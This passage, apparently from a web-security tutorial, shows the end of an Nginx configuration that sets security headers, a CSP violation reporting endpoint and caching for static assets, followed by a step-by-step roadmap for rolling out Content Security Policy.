    add_header Cross-Origin-Resource-Policy "same-origin" always;
    
    # ================================================
    # Routes
    # ================================================
    location / {
        try_files $uri $uri/ =404;
    }
    
    # CSP Violation Reporting Endpoint
    location /csp-reports {
        access_log /var/log/nginx/csp-reports.log;
        return 204;
    }
    
    # Static assets with relaxed CORP for social media
    # Note: add_header in location blocks overrides parent-level headers,
    # so we must re-include essential security headers here
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable" always;
        add_header Cross-Origin-Resource-Policy "cross-origin" always;
        # Re-include essential security headers
        add_header X-Content-Type-Options "nosniff" always;
        add_header Referrer-Policy "strict-origin-when-cross-origin" always;
        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    }
}

Your CSP Journey: Summary

CSP Implementation Roadmap
  1. Start simple — Deploy default-src 'self' in report-only mode
  2. Add directives progressively — Scripts, styles, images, etc.
  3. Handle inline scripts — Move to files, use hashes, or implement nonces
  4. For static sites — Use Nginx sub_filter for nonce injection
  5. Go strict — Add 'strict-dynamic', object-src 'none', base-uri 'none'
  6. Set up reporting — Monitor violations with report-uri / report-to
  7. Enforce gradually — Switch from report-only to enforcement after testing
  8. Maintain and iterate — Keep monitoring, update as your app evolves